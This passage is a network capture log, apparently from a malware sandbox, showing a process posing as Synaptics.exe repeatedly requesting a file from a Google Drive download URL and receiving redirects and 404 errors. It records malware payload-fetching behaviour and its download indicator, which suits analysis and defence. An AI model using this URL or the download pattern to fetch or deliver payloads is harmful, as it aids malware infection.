2024-12-05 23:15:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9b9vNrtZYUWh9MYD1i6ATg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49803	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qODCI9DCAgXyc5AwmC2isw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49813	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-MCyoKT9eltwEC3vTmCvgVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49812	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-PBMmCsqvXGZO-Kj2aCRamw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49819	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:31 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:30 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oNtpzylPBWHJx2dp_QVv0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC7ZV2FAjBQ9fS-YKvgurS4oeLpdgUcBbbf8h_eJwf9tO3I_fiHl8Vj7ZIhyznhuDdaOXnsPQsiMgQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:31 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:31 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 49 78 70 6a 5a 77 72 48 43 67 66 4d 76 6e 56 61 5a 37 6b 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="bIxpjZwrHCgfMvnVaZ7kzg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:31 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49817	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:30 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-hDZZHkinIfwxAPuOOW3Osw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49818	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:31 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:31 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-NN3KDHrM3lRqH_wA-7JN2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC4U06475Uj096dia6Wgh9KL97k9Rthh_npOBKYsNAgHqA-O1Cx7fISrpEVrV2p2FUOHZJMJKdTmIg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:31 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:31 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 37 33 5f 61 62 6c 72 58 70 4e 55 2d 53 71 41 6d 30 67 61 58 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="Y73_ablrXpNU-SqAm0gaXQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:31 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49820	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:30 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RDOZXUTHgmRiI7ekK2ca5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49827	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VsbkWZG0tUXY3dyodvsgjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49828	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-MTZtaH_q7Fp3bl5lbX2TkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49837	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:37 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-b4J2zS3rxP0O3-Q5veMx1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49838	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:37 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9FbY0cmfm7V-vtX8MbJb9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49847	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:41 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
